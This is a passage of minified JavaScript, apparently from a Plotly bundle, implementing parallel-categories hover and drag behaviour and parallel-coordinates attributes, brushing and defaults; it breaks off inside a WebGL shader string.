j=Y._fullLayout._invScaleX,K=Y._fullLayout._invScaleY,oe=ie.getBoundingClientRect(),re=M.select(ie).datum(),le=re.categoryViewModel,pe=le.parcatsViewModel,we=pe.model.dimensions[le.model.dimensionInd],xe=pe.trace,ke=oe.y+oe.height/2,_e,be;pe.dimensions.length>1&&we.displayInd===pe.dimensions.length-1?(_e=oe.left,be="left"):(_e=oe.left+oe.width,be="right");var ge=le.model.categoryLabel,Te=re.parcatsViewModel.model.count,Fe=0;re.categoryViewModel.bands.forEach(function(ut){ut.color===re.color&&(Fe+=ut.count)});var Oe=le.model.count,Ce=0;pe.pathSelection.each(function(ut){ut.model.color===re.color&&(Ce+=ut.model.count)});var Be=Fe/Te,$e=Fe/Ce,Xe=Fe/Oe,Ze={countLabel:Te,categoryLabel:ge,probabilityLabel:Be.toFixed(3)},Ke=[];le.parcatsViewModel.hoverinfoItems.indexOf("count")!==-1&&Ke.push(["Count:",Ze.countLabel].join(" ")),le.parcatsViewModel.hoverinfoItems.indexOf("probability")!==-1&&(Ke.push("P(color ∩ "+ge+"): "+Ze.probabilityLabel),Ke.push("P("+ge+" | color): "+$e.toFixed(3)),Ke.push("P(color | "+ge+"): "+Xe.toFixed(3)));var st=Ke.join("<br>"),lt=t.mostReadable(re.color,["black","white"]);return{trace:xe,x:j*(_e-Q.left),y:K*(ke-Q.top),text:st,color:re.color,borderColor:"black",fontFamily:'Monaco, "Courier New", monospace',fontColor:lt,fontSize:10,idealAlign:be,hovertemplate:xe.hovertemplate,hovertemplateLabels:Ze,eventData:[{data:xe._input,fullData:xe,category:ge,count:Te,probability:Be,categorycount:Oe,colorcount:Ce,bandcolorcount:Fe}]}}function _(Y){if(!Y.parcatsViewModel.dragDimension&&Y.parcatsViewModel.hoverinfoItems.indexOf("skip")===-1){var Q=M.mouse(this)[1];if(Q<-1)return;var ie=Y.parcatsViewModel.graphDiv,j=ie._fullLayout,K=j._paperdiv.node().getBoundingClientRect(),oe=Y.parcatsViewModel.hoveron,re=this;if(oe==="color"?(n(re),x(re,"plotly_hover",M.event)):(m(re),C(re,"plotly_hover",M.event)),Y.parcatsViewModel.hoverinfoItems.indexOf("none")===-1){var le;oe==="category"?le=I(ie,K,re):oe==="color"?le=B(ie,K,re):oe==="dimension"&&(le=k(ie,K,re)),le&&L.loneHover(le,{container:j._hoverlayer.node(),outerContainer:j._paper.node(),gd:ie})}}}function F(Y){var Q=Y.parcatsViewModel;if(!Q.dragDimension&&(i(Q.pathSelection),w(Q.dimensionSelection.selectAll("g.category")),p(Q.dimensionSelection.selectAll("g.category").selectAll("rect.bandrect")),L.loneUnhover(Q.graphDiv._fullLayout._hoverlayer.node()),Q.pathSelection.sort(u),Q.hoverinfoItems.indexOf("skip")===-1)){var ie=Y.parcatsViewModel.hoveron,j=this;ie==="color"?x(j,"plotly_unhover",M.event):C(j,"plotly_unhover",M.event)}}function O(Y){Y.parcatsViewModel.arrangement!=="fixed"&&(Y.dragDimensionDisplayInd=Y.model.displayInd,Y.initialDragDimensionDisplayInds=Y.parcatsViewModel.model.dimensions.map(function(Q){return Q.displayInd}),Y.dragHasMoved=!1,Y.dragCategoryDisplayInd=null,M.select(this).selectAll("g.category").select("rect.catrect").each(function(Q){var ie=M.mouse(this)[0],j=M.mouse(this)[1];-2<=ie&&ie<=Q.width+2&&-2<=j&&j<=Q.height+2&&(Y.dragCategoryDisplayInd=Q.model.displayInd,Y.initialDragCategoryDisplayInds=Y.model.categories.map(function(K){return K.displayInd}),Q.model.dragY=Q.y,S.raiseToTop(this.parentNode),M.select(this.parentNode).selectAll("rect.bandrect").each(function(K){K.y<j&&j<=K.y+K.height&&(Y.potentialClickBand=this)}))}),Y.parcatsViewModel.dragDimension=Y,L.loneUnhover(Y.parcatsViewModel.graphDiv._fullLayout._hoverlayer.node()))}function z(Y){if(Y.parcatsViewModel.arrangement!=="fixed"&&(Y.dragHasMoved=!0,Y.dragDimensionDisplayInd!==null)){var Q=Y.dragDimensionDisplayInd,ie=Q-1,j=Q+1,K=Y.parcatsViewModel.dimensions[Q];if(Y.dragCategoryDisplayInd!==null){var oe=K.categories[Y.dragCategoryDisplayInd];oe.model.dragY+=M.event.dy;var re=oe.model.dragY,le=oe.model.displayInd,pe=K.categories,we=pe[le-1],xe=pe[le+1];we!==void 0&&re<we.y+we.height/2&&(oe.model.displayInd=we.model.displayInd,we.model.displayInd=le),xe!==void 0&&re+oe.height>xe.y+xe.height/2&&(oe.model.displayInd=xe.model.displayInd,xe.model.displayInd=le),Y.dragCategoryDisplayInd=oe.model.displayInd}if(Y.dragCategoryDisplayInd===null||Y.parcatsViewModel.arrangement==="freeform"){K.model.dragX=M.event.x;var ke=Y.parcatsViewModel.dimensions[ie],_e=Y.parcatsViewModel.dimensions[j];ke!==void 0&&K.model.dragX<ke.x+ke.width&&(K.model.displayInd=ke.model.displayInd,ke.model.displayInd=Q),_e!==void 0&&K.model.dragX+K.width>_e.x&&(K.model.displayInd=_e.model.displayInd,_e.model.displayInd=Y.dragDimensionDisplayInd),Y.dragDimensionDisplayInd=K.model.displayInd}W(Y.parcatsViewModel),X(Y.parcatsViewModel),q(Y.parcatsViewModel),J(Y.parcatsViewModel)}}function N(Y){if(Y.parcatsViewModel.arrangement!=="fixed"&&Y.dragDimensionDisplayInd!==null){M.select(this).selectAll("text").attr("font-weight","normal");var Q={},ie=G(Y.parcatsViewModel),j=Y.parcatsViewModel.model.dimensions.map(function(_e){return _e.displayInd}),K=Y.initialDragDimensionDisplayInds.some(function(_e,be){return _e!==j[be]});K&&j.forEach(function(_e,be){var ge=Y.parcatsViewModel.model.dimensions[be].containerInd;Q["dimensions["+ge+"].displayindex"]=_e});var oe=!1;if(Y.dragCategoryDisplayInd!==null){var re=Y.model.categories.map(function(_e){return _e.displayInd});if(oe=Y.initialDragCategoryDisplayInds.some(function(_e,be){return _e!==re[be]}),oe){var le=Y.model.categories.slice().sort(function(_e,be){return _e.displayInd-be.displayInd}),pe=le.map(function(_e){return _e.categoryValue}),we=le.map(function(_e){return _e.categoryLabel});Q["dimensions["+Y.model.containerInd+"].categoryarray"]=[pe],Q["dimensions["+Y.model.containerInd+"].ticktext"]=[we],Q["dimensions["+Y.model.containerInd+"].categoryorder"]="array"}}if(Y.parcatsViewModel.hoverinfoItems.indexOf("skip")===-1&&!Y.dragHasMoved&&Y.potentialClickBand&&(Y.parcatsViewModel.hoveron==="color"?x(Y.potentialClickBand,"plotly_click",M.event.sourceEvent):C(Y.potentialClickBand,"plotly_click",M.event.sourceEvent)),Y.model.dragX=null,Y.dragCategoryDisplayInd!==null){var xe=Y.parcatsViewModel.dimensions[Y.dragDimensionDisplayInd].categories[Y.dragCategoryDisplayInd];xe.model.dragY=null,Y.dragCategoryDisplayInd=null}Y.dragDimensionDisplayInd=null,Y.parcatsViewModel.dragDimension=null,Y.dragHasMoved=null,Y.potentialClickBand=null,W(Y.parcatsViewModel),X(Y.parcatsViewModel);var ke=M.transition().duration(300).ease("cubic-in-out");ke.each(function(){q(Y.parcatsViewModel,!0),J(Y.parcatsViewModel,!0)}).each("end",function(){(K||oe)&&o.restyle(Y.parcatsViewModel.graphDiv,Q,[ie])})}}function G(Y){for(var Q,ie=Y.graphDiv._fullData,j=0;j<ie.length;j++)if(Y.key===ie[j].uid){Q=j;break}return Q}function J(Y,Q){Q===void 0&&(Q=!1);function ie(j){return Q?j.transition():j}Y.pathSelection.data(function(j){return j.paths},a),ie(Y.pathSelection).attr("d",function(j){return j.svgD})}function q(Y,Q){Q===void 0&&(Q=!1);function ie(pe){return Q?pe.transition():pe}Y.dimensionSelection.data(function(pe){return pe.dimensions},a);var j=Y.dimensionSelection.selectAll("g.category").data(function(pe){return pe.categories},a);ie(Y.dimensionSelection).attr("transform",function(pe){return d(pe.x,0)}),ie(j).attr("transform",function(pe){return d(0,pe.y)});var K=j.select(".dimlabel");K.text(function(pe,we){return we===0?pe.parcatsViewModel.model.dimensions[pe.model.dimensionInd].dimensionLabel:null});var oe=j.select(".catlabel");oe.attr("text-anchor",function(pe){return l(pe)?"start":"end"}).attr("x",function(pe){return l(pe)?pe.width+5:-5}).each(function(pe){var we,xe;l(pe)?(we=pe.width+5,xe="start"):(we=-5,xe="end"),M.select(this).selectAll("tspan").attr("x",we).attr("text-anchor",xe)});var re=j.selectAll("rect.bandrect").data(function(pe){return pe.bands},a),le=re.enter().append("rect").attr("class","bandrect").attr("cursor","move").attr("stroke-opacity",0).attr("fill",function(pe){return pe.color}).attr("fill-opacity",0);re.attr("fill",function(pe){return pe.color}).attr("width",function(pe){return pe.width}).attr("height",function(pe){return pe.height}).attr("y",function(pe){return pe.y}),p(le),re.each(function(){S.raiseToTop(this)}),re.exit().remove()}function ne(Y,Q,ie){var j=ie[0],K=Q.margin||{l:80,r:80,t:100,b:80},oe=j.trace,re=oe.domain,le=Q.width,pe=Q.height,we=Math.floor(le*(re.x[1]-re.x[0])),xe=Math.floor(pe*(re.y[1]-re.y[0])),ke=re.x[0]*le+K.l,_e=Q.height-re.y[1]*Q.height+K.t,be=oe.line.shape,ge;oe.hoverinfo==="all"?ge=["count","probability"]:ge=(oe.hoverinfo||"").split("+");var Te={trace:oe,key:oe.uid,model:j,x:ke,y:_e,width:we,height:xe,hoveron:oe.hoveron,hoverinfoItems:ge,arrangement:oe.arrangement,bundlecolors:oe.bundlecolors,sortpaths:oe.sortpaths,labelfont:oe.labelfont,categorylabelfont:oe.tickfont,pathShape:be,dragDimension:null,margin:K,paths:[],dimensions:[],graphDiv:Y,traceSelection:null,pathSelection:null,dimensionSelection:null};return j.dimensions&&(W(Te),X(Te)),Te}function fe(Y,Q,ie,j,K){var oe=[],re=[],le,pe;for(pe=0;pe<ie.length-1;pe++)le=P(ie[pe]+Y[pe],Y[pe+1]),oe.push(le(K)),re.push(le(1-K));var we="M "+Y[0]+","+Q[0];for(we+="l"+ie[0]+",0 ",pe=1;pe<ie.length;pe++)we+="C"+oe[pe-1]+","+Q[pe-1]+" "+re[pe-1]+","+Q[pe]+" "+Y[pe]+","+Q[pe],we+="l"+ie[pe]+",0 ";for(we+="l0,"+j+" ",we+="l -"+ie[ie.length-1]+",0 ",pe=ie.length-2;pe>=0;pe--)we+="C"+re[pe]+","+(Q[pe+1]+j)+" "+oe[pe]+","+(Q[pe]+j)+" "+(Y[pe]+ie[pe])+","+(Q[pe]+j),we+="l-"+ie[pe]+",0 ";return we+="Z",we}function X(Y){var Q=Y.dimensions,ie=Y.model,j=Q.map(function(Ot){return Ot.categories.map(function(Ge){return Ge.y})}),K=Y.model.dimensions.map(function(Ot){return Ot.categories.map(function(Ge){return Ge.displayInd})}),oe=Y.model.dimensions.map(function(Ot){return Ot.displayInd}),re=Y.dimensions.map(function(Ot){return Ot.model.dimensionInd}),le=Q.map(function(Ot){return Ot.x}),pe=Q.map(function(Ot){return Ot.width}),we=[];for(var xe in ie.paths)ie.paths.hasOwnProperty(xe)&&we.push(ie.paths[xe]);function ke(Ot){var Ge=Ot.categoryInds.map(function(Pe,De){return K[De][Pe]}),Le=re.map(function(Pe){return Ge[Pe]});return Le}we.sort(function(Ot,Ge){var Le=ke(Ot),Pe=ke(Ge);return Y.sortpaths==="backward"&&(Le.reverse(),Pe.reverse()),Le.push(Ot.valueInds[0]),Pe.push(Ge.valueInds[0]),Y.bundlecolors&&(Le.unshift(Ot.rawColor),Pe.unshift(Ge.rawColor)),Le<Pe?-1:Le>Pe?1:0});for(var _e=new Array(we.length),be=Q[0].model.count,ge=Q[0].categories.map(function(Ot){return Ot.height}).reduce(function(Ot,Ge){return Ot+Ge}),Te=0;Te<we.length;Te++){var Fe=we[Te],Oe;be>0?Oe=ge*(Fe.count/be):Oe=0;for(var Ce=new Array(j.length),Be=0;Be<Fe.categoryInds.length;Be++){var $e=Fe.categoryInds[Be],Xe=K[Be][$e],Ze=oe[Be];Ce[Ze]=j[Ze][Xe],j[Ze][Xe]+=Oe;var Ke=Y.dimensions[Ze].categories[Xe],st=Ke.bands.length,lt=Ke.bands[st-1];if(lt===void 0||Fe.rawColor!==lt.rawColor){var ut=lt===void 0?0:lt.y+lt.height;Ke.bands.push({key:ut,color:Fe.color,rawColor:Fe.rawColor,height:Oe,width:Ke.width,count:Fe.count,y:ut,categoryViewModel:Ke,parcatsViewModel:Y})}else{var yt=Ke.bands[st-1];yt.height+=Oe,yt.count+=Fe.count}}var bt;Y.pathShape==="hspline"?bt=fe(le,Ce,pe,Oe,.5):bt=fe(le,Ce,pe,Oe,0),_e[Te]={key:Fe.valueInds[0],model:Fe,height:Oe,leftXs:le,topYs:Ce,dimWidths:pe,svgD:bt,parcatsViewModel:Y}}Y.paths=_e}function W(Y){var Q=Y.model.dimensions.map(function(re){return{displayInd:re.displayInd,dimensionInd:re.dimensionInd}});Q.sort(function(re,le){return re.displayInd-le.displayInd});var ie=[];for(var j in Q){var K=Q[j].dimensionInd,oe=Y.model.dimensions[K];ie.push(V(Y,oe))}Y.dimensions=ie}function V(Y,Q){var ie=40,j=16,K=Y.model.dimensions.length,oe=Q.displayInd,re,le,pe;K>1?re=(Y.width-2*ie-j)/(K-1):re=0,le=ie,pe=le+re*oe;var we=[],xe=Y.model.maxCats,ke=Q.categories.length,_e=8,be=Q.count,ge=Y.height-_e*(xe-1),Te,Fe,Oe,Ce,Be,$e=(xe-ke)*_e/2,Xe=Q.categories.map(function(Ze){return{displayInd:Ze.displayInd,categoryInd:Ze.categoryInd}});for(Xe.sort(function(Ze,Ke){return Ze.displayInd-Ke.displayInd}),Be=0;Be<ke;Be++)Ce=Xe[Be].categoryInd,Fe=Q.categories[Ce],be>0?Te=Fe.count/be*ge:Te=0,Oe={key:Fe.valueInds[0],model:Fe,width:j,height:Te,y:Fe.dragY!==null?Fe.dragY:$e,bands:[],parcatsViewModel:Y},$e=$e+Te+_e,we.push(Oe);return{key:Q.dimensionInd,x:Q.dragX!==null?Q.dragX:pe,y:0,width:j,model:Q,categories:we,parcatsViewModel:Y,dragCategoryDisplayInd:null,dragDimensionDisplayInd:null,initialDragDimensionDisplayInds:null,initialDragCategoryDisplayInds:null,dragHasMoved:null,potentialClickBand:null}}},45784:function(te,Z,e){var M=e(45460);te.exports=function(o,L,S,d){var g=o._fullLayout,t=g._paper,r=g._size;M(o,t,L,{width:r.w,height:r.h,margin:{t:r.t,r:r.r,b:r.b,l:r.l}},S,d)}},73362:function(te,Z,e){var M=e(50693),P=e(13838),o=e(41940),L=e(27670).Y,S=e(1426).extendFlat,d=e(44467).templatedArray;te.exports={domain:L({name:"parcoords",trace:!0,editType:"plot"}),labelangle:{valType:"angle",dflt:0,editType:"plot"},labelside:{valType:"enumerated",values:["top","bottom"],dflt:"top",editType:"plot"},labelfont:o({editType:"plot"}),tickfont:o({editType:"plot"}),rangefont:o({editType:"plot"}),dimensions:d("dimension",{label:{valType:"string",editType:"plot"},tickvals:S({},P.tickvals,{editType:"plot"}),ticktext:S({},P.ticktext,{editType:"plot"}),tickformat:S({},P.tickformat,{editType:"plot"}),visible:{valType:"boolean",dflt:!0,editType:"plot"},range:{valType:"info_array",items:[{valType:"number",editType:"plot"},{valType:"number",editType:"plot"}],editType:"plot"},constraintrange:{valType:"info_array",freeLength:!0,dimensions:"1-2",items:[{valType:"any",editType:"plot"},{valType:"any",editType:"plot"}],editType:"plot"},multiselect:{valType:"boolean",dflt:!0,editType:"plot"},values:{valType:"data_array",editType:"calc"},editType:"calc"}),line:S({editType:"calc"},M("line",{colorscaleDflt:"Viridis",autoColorDflt:!1,editTypeOverride:"calc"})),unselected:{line:{color:{valType:"color",dflt:"#7f7f7f",editType:"plot"},opacity:{valType:"number",min:0,max:1,dflt:"auto",editType:"plot"},editType:"plot"},editType:"plot"}}},57920:function(te,Z,e){var M=e(25706),P=e(39898),o=e(28984).keyFun,L=e(28984).repeat,S=e(71828).sorterAsc,d=e(71828).strTranslate,g=M.bar.snapRatio;function t(N,G){return N*(1-g)+G*g}var r=M.bar.snapClose;function f(N,G){return N*(1-r)+G*r}function a(N,G,J,q){if(l(J,q))return J;var ne=N?-1:1,fe=0,X=G.length-1;if(ne<0){var W=fe;fe=X,X=W}for(var V=G[fe],Y=V,Q=fe;ne*Q<ne*X;Q+=ne){var ie=Q+ne,j=G[ie];if(ne*J<ne*f(V,j))return t(V,Y);if(ne*J<ne*j||ie===X)return t(j,V);Y=V,V=j}}function l(N,G){for(var J=0;J<G.length;J++)if(N>=G[J][0]&&N<=G[J][1])return!0;return!1}function u(N){N.attr("x",-M.bar.captureWidth/2).attr("width",M.bar.captureWidth)}function s(N){N.attr("visibility","visible").style("visibility","visible").attr("fill","yellow").attr("opacity",0)}function y(N){if(!N.brush.filterSpecified)return"0,"+N.height;for(var G=c(N.brush.filter.getConsolidated(),N.height),J=[0],q,ne,fe,X=G.length?G[0][0]:null,W=0;W<G.length;W++)q=G[W],ne=q[1]-q[0],J.push(X),J.push(ne),fe=W+1,fe<G.length&&(X=G[fe][0]-q[1]);return J.push(N.height),J}function c(N,G){return N.map(function(J){return J.map(function(q){return Math.max(0,q*G)}).sort(S)})}function b(N,G){var J=M.bar.handleHeight;if(!(G>N[1]+J||G<N[0]-J))return G>=.9*N[1]+.1*N[0]?"n":G<=.9*N[0]+.1*N[1]?"s":"ns"}function h(){P.select(document.body).style("cursor",null)}function i(N){N.attr("stroke-dasharray",y)}function v(N,G){var J=P.select(N).selectAll(".highlight, .highlight-shadow"),q=G?J.transition().duration(M.bar.snapDuration).each("end",G):J;i(q)}function T(N,G){var J=N.brush,q=J.filterSpecified,ne=NaN,fe={},X;if(q){var W=N.height,V=J.filter.getConsolidated(),Y=c(V,W),Q=NaN,ie=NaN,j=NaN;for(X=0;X<=Y.length;X++){var K=Y[X];if(K&&K[0]<=G&&G<=K[1]){Q=X;break}else if(ie=X?X-1:NaN,K&&K[0]>G){j=X;break}}if(ne=Q,isNaN(ne)&&(isNaN(ie)||isNaN(j)?ne=isNaN(ie)?j:ie:ne=G-Y[ie][1]<Y[j][0]-G?ie:j),!isNaN(ne)){var oe=Y[ne],re=b(oe,G);re&&(fe.interval=V[ne],fe.intervalPix=oe,fe.region=re)}}if(N.ordinal&&!fe.region){var le=N.unitTickvals,pe=N.unitToPaddedPx.invert(G);for(X=0;X<le.length;X++){var we=[le[Math.max(X-1,0)]*.25+le[X]*.75,le[Math.min(X+1,le.length-1)]*.25+le[X]*.75];if(pe>=we[0]&&pe<=we[1]){fe.clickableOrdinalRange=we;break}}}return fe}function w(N,G){P.event.sourceEvent.stopPropagation();var J=G.height-P.mouse(N)[1]-2*M.verticalPadding,q=G.unitToPaddedPx.invert(J),ne=G.brush,fe=T(G,J),X=fe.interval,W=ne.svgBrush;if(W.wasDragged=!1,W.grabbingBar=fe.region==="ns",W.grabbingBar){var V=X.map(G.unitToPaddedPx);W.grabPoint=J-V[0]-M.verticalPadding,W.barLength=V[1]-V[0]}W.clickableOrdinalRange=fe.clickableOrdinalRange,W.stayingIntervals=G.multiselect&&ne.filterSpecified?ne.filter.getConsolidated():[],X&&(W.stayingIntervals=W.stayingIntervals.filter(function(Y){return Y[0]!==X[0]&&Y[1]!==X[1]})),W.startExtent=fe.region?X[fe.region==="s"?1:0]:q,G.parent.inBrushDrag=!0,W.brushStartCallback()}function E(N,G){P.event.sourceEvent.stopPropagation();var J=G.height-P.mouse(N)[1]-2*M.verticalPadding,q=G.brush.svgBrush;q.wasDragged=!0,q._dragging=!0,q.grabbingBar?q.newExtent=[J-q.grabPoint,J+q.barLength-q.grabPoint].map(G.unitToPaddedPx.invert):q.newExtent=[q.startExtent,G.unitToPaddedPx.invert(J)].sort(S),G.brush.filterSpecified=!0,q.extent=q.stayingIntervals.concat([q.newExtent]),q.brushCallback(G),v(N.parentNode)}function p(N,G){var J=G.brush,q=J.filter,ne=J.svgBrush;ne._dragging||(A(N,G),E(N,G),G.brush.svgBrush.wasDragged=!1),ne._dragging=!1;var fe=P.event;fe.sourceEvent.stopPropagation();var X=ne.grabbingBar;if(ne.grabbingBar=!1,ne.grabLocation=void 0,G.parent.inBrushDrag=!1,h(),!ne.wasDragged){ne.wasDragged=void 0,ne.clickableOrdinalRange?J.filterSpecified&&G.multiselect?ne.extent.push(ne.clickableOrdinalRange):(ne.extent=[ne.clickableOrdinalRange],J.filterSpecified=!0):X?(ne.extent=ne.stayingIntervals,ne.extent.length===0&&k(J)):k(J),ne.brushCallback(G),v(N.parentNode),ne.brushEndCallback(J.filterSpecified?q.getConsolidated():[]);return}var W=function(){q.set(q.getConsolidated())};if(G.ordinal){var V=G.unitTickvals;V[V.length-1]<V[0]&&V.reverse(),ne.newExtent=[a(0,V,ne.newExtent[0],ne.stayingIntervals),a(1,V,ne.newExtent[1],ne.stayingIntervals)];var Y=ne.newExtent[1]>ne.newExtent[0];ne.extent=ne.stayingIntervals.concat(Y?[ne.newExtent]:[]),ne.extent.length||k(J),ne.brushCallback(G),Y?v(N.parentNode,W):(W(),v(N.parentNode))}else W();ne.brushEndCallback(J.filterSpecified?q.getConsolidated():[])}function A(N,G){var J=G.height-P.mouse(N)[1]-2*M.verticalPadding,q=T(G,J),ne="crosshair";q.clickableOrdinalRange?ne="pointer":q.region&&(ne=q.region+"-resize"),P.select(document.body).style("cursor",ne)}function m(N){N.on("mousemove",function(G){P.event.preventDefault(),G.parent.inBrushDrag||A(this,G)}).on("mouseleave",function(G){G.parent.inBrushDrag||h()}).call(P.behavior.drag().on("dragstart",function(G){w(this,G)}).on("drag",function(G){E(this,G)}).on("dragend",function(G){p(this,G)}))}function n(N,G){return N[0]-G[0]}function C(N,G,J){var q=J._context.staticPlot,ne=N.selectAll(".background").data(L);ne.enter().append("rect").classed("background",!0).call(u).call(s).style("pointer-events",q?"none":"auto").attr("transform",d(0,M.verticalPadding)),ne.call(m).attr("height",function(W){return W.height-M.verticalPadding});var fe=N.selectAll(".highlight-shadow").data(L);fe.enter().append("line").classed("highlight-shadow",!0).attr("x",-M.bar.width/2).attr("stroke-width",M.bar.width+M.bar.strokeWidth).attr("stroke",G).attr("opacity",M.bar.strokeOpacity).attr("stroke-linecap","butt"),fe.attr("y1",function(W){return W.height}).call(i);var X=N.selectAll(".highlight").data(L);X.enter().append("line").classed("highlight",!0).attr("x",-M.bar.width/2).attr("stroke-width",M.bar.width-M.bar.strokeWidth).attr("stroke",M.bar.fillColor).attr("opacity",M.bar.fillOpacity).attr("stroke-linecap","butt"),X.attr("y1",function(W){return W.height}).call(i)}function x(N,G,J){var q=N.selectAll("."+M.cn.axisBrush).data(L,o);q.enter().append("g").classed(M.cn.axisBrush,!0),C(q,G,J)}function I(N){return N.svgBrush.extent.map(function(G){return G.slice()})}function k(N){N.filterSpecified=!1,N.svgBrush.extent=[[-1/0,1/0]]}function B(N){return function(J){var q=J.brush,ne=I(q),fe=ne.slice();q.filter.set(fe),N()}}function _(N){for(var G=N.slice(),J=[],q,ne=G.shift();ne;){for(q=ne.slice();(ne=G.shift())&&ne[0]<=q[1];)q[1]=Math.max(q[1],ne[1]);J.push(q)}return J.length===1&&J[0][0]>J[0][1]&&(J=[]),J}function F(){var N=[],G,J;return{set:function(q){N=q.map(function(ne){return ne.slice().sort(S)}).sort(n),N.length===1&&N[0][0]===-1/0&&N[0][1]===1/0&&(N=[[0,-1]]),G=_(N),J=N.reduce(function(ne,fe){return[Math.min(ne[0],fe[0]),Math.max(ne[1],fe[1])]},[1/0,-1/0])},get:function(){return N.slice()},getConsolidated:function(){return G},getBounds:function(){return J}}}function O(N,G,J,q,ne,fe){var X=F();return X.set(J),{filter:X,filterSpecified:G,svgBrush:{extent:[],brushStartCallback:q,brushCallback:B(ne),brushEndCallback:fe}}}function z(N,G){if(Array.isArray(N[0])?(N=N.map(function(q){return q.sort(S)}),G.multiselect?N=_(N.sort(n)):N=[N[0]]):N=[N.sort(S)],G.tickvals){var J=G.tickvals.slice().sort(S);if(N=N.map(function(q){var ne=[a(0,J,q[0],[]),a(1,J,q[1],[])];if(ne[1]>ne[0])return ne}).filter(function(q){return q}),!N.length)return}return N.length>1?N:N[0]}te.exports={makeBrush:O,ensureAxisBrush:x,cleanRanges:z}},71791:function(te,Z,e){te.exports={attributes:e(73362),supplyDefaults:e(3633),calc:e(24639),colorbar:{container:"line",min:"cmin",max:"cmax"},moduleType:"trace",name:"parcoords",basePlotModule:e(49351),categories:["gl","regl","noOpacity","noHover"],meta:{}}},49351:function(te,Z,e){var M=e(39898),P=e(27659).a0,o=e(21341),L=e(77922);Z.name="parcoords",Z.plot=function(S){var d=P(S.calcdata,"parcoords")[0];d.length&&o(S,d)},Z.clean=function(S,d,g,t){var r=t._has&&t._has("parcoords"),f=d._has&&d._has("parcoords");r&&!f&&(t._paperdiv.selectAll(".parcoords").remove(),t._glimages.selectAll("*").remove())},Z.toSVG=function(S){var d=S._fullLayout._glimages,g=M.select(S).selectAll(".svg-container"),t=g.filter(function(f,a){return a===g.size()-1}).selectAll(".gl-canvas-context, .gl-canvas-focus");function r(){var f=this,a=f.toDataURL("image/png"),l=d.append("svg:image");l.attr({xmlns:L.svg,"xlink:href":a,preserveAspectRatio:"none",x:0,y:0,width:f.style.width,height:f.style.height})}t.each(r),window.setTimeout(function(){M.selectAll("#filterBarPattern").attr("id","filterBarPattern")},60)}},24639:function(te,Z,e){var M=e(71828).isArrayOrTypedArray,P=e(21081),o=e(28984).wrap;te.exports=function(d,g){var t,r;return P.hasColorscale(g,"line")&&M(g.line.color)?(t=g.line.color,r=P.extractOpts(g.line).colorscale,P.calc(d,g,{vals:t,containerStr:"line",cLetter:"c"})):(t=L(g._length),r=[[0,g.line.color],[1,g.line.color]]),o({lineColor:t,cscale:r})};function L(S){for(var d=new Array(S),g=0;g<S;g++)d[g]=.5;return d}},25706:function(te){te.exports={maxDimensionCount:60,overdrag:45,verticalPadding:2,tickDistance:50,canvasPixelRatio:1,blockLineCount:5e3,layers:["contextLineLayer","focusLineLayer","pickLineLayer"],axisTitleOffset:28,axisExtentOffset:10,bar:{width:4,captureWidth:10,fillColor:"magenta",fillOpacity:1,snapDuration:150,snapRatio:.25,snapClose:.01,strokeOpacity:1,strokeWidth:1,handleHeight:8,handleOpacity:1,handleOverlap:0},cn:{axisExtentText:"axis-extent-text",parcoordsLineLayers:"parcoords-line-layers",parcoordsLineLayer:"parcoords-lines",parcoords:"parcoords",parcoordsControlView:"parcoords-control-view",yAxis:"y-axis",axisOverlays:"axis-overlays",axis:"axis",axisHeading:"axis-heading",axisTitle:"axis-title",axisExtent:"axis-extent",axisExtentTop:"axis-extent-top",axisExtentTopText:"axis-extent-top-text",axisExtentBottom:"axis-extent-bottom",axisExtentBottomText:"axis-extent-bottom-text",axisBrush:"axis-brush"},id:{filterBarPattern:"filter-bar-pattern"}}},3633:function(te,Z,e){var M=e(71828),P=e(52075).hasColorscale,o=e(1586),L=e(27670).c,S=e(85501),d=e(89298),g=e(73362),t=e(57920),r=e(25706).maxDimensionCount,f=e(94397);function a(u,s,y,c,b){var h=b("line.color",y);if(P(u,"line")&&M.isArrayOrTypedArray(h)){if(h.length)return b("line.colorscale"),o(u,s,c,b,{prefix:"line.",cLetter:"c"}),h.length;s.line.color=y}return 1/0}function l(u,s,y,c){function b(w,E){return M.coerce(u,s,g.dimensions,w,E)}var h=b("values"),i=b("visible");if(h&&h.length||(i=s.visible=!1),i){b("label"),b("tickvals"),b("ticktext"),b("tickformat");var v=b("range");s._ax={_id:"y",type:"linear",showexponent:"all",exponentformat:"B",range:v},d.setConvert(s._ax,c.layout),b("multiselect");var T=b("constraintrange");T&&(s.constraintrange=t.cleanRanges(T,s))}}te.exports=function(s,y,c,b){function h(E,p){return M.coerce(s,y,g,E,p)}var i=s.dimensions;Array.isArray(i)&&i.length>r&&(M.log("parcoords traces support up to "+r+" dimensions at the moment"),i.splice(r));var v=S(s,y,{name:"dimensions",layout:b,handleItemDefaults:l}),T=a(s,y,c,b,h);L(y,b,h),(!Array.isArray(v)||!v.length)&&(y.visible=!1),f(y,v,"values",T);var w={family:b.font.family,size:Math.round(b.font.size/1.2),color:b.font.color};M.coerceFont(h,"labelfont",w),M.coerceFont(h,"tickfont",w),M.coerceFont(h,"rangefont",w),h("labelangle"),h("labelside"),h("unselected.line.color"),h("unselected.line.opacity")}},1602:function(te,Z,e){var M=e(71828).isTypedArray;Z.convertTypedArray=function(P){return M(P)?Array.prototype.slice.call(P):P},Z.isOrdinal=function(P){return!!P.tickvals},Z.isVisible=function(P){return P.visible||!("visible"in P)}},67618:function(te,Z,e){var M=e(71791);M.plot=e(21341),te.exports=M},83398:function(te,Z,e){var M=e(56068),P=M([`precision highp float;
#define GLSLIFY 1

varying vec4 fragColor;

attribute vec4 p01_04, p05_08, p09_12, p13_16,
               p17_20, p21_24, p25_28, p29_32,
               p33_36, p37_40, p41_44, p45_48,
               p49_52, p53_56, p57_60, colors;

uniform mat4 dim0A, dim1A, dim0B, dim1B, dim0C, dim1C, dim0D, dim1D,
             loA, hiA, loB, hiB, loC, hiC, loD, hiD;

uniform vec2 resolution, viewBoxPos, viewBoxSize;
uniform float maskHeight;
uniform float drwLayer; // 0: context, 1: focus, 2: pick
uniform vec4 contextColor;
uniform sampler2D maskTexture, palette;

bool isPick    = (drwLayer > 1.5);
bool isContext = (drwLayer < 0.5);

const vec4 ZEROS = vec4(0.0, 0.0, 0.0, 0.0);
const vec4 UNITS = vec4(1.0, 1.0, 1.0, 1.0);

float val(mat4 p, mat4 v) {
    return dot(matrixCompMult(p, v) * UNITS, UNITS);
}

float axisY(float ratio, mat4 A, mat4 B, mat4 C, mat4 D) {
    float y1 = val(A, dim0A) + val(B, dim0B) + val(C, dim0C) + val(D, dim0D);
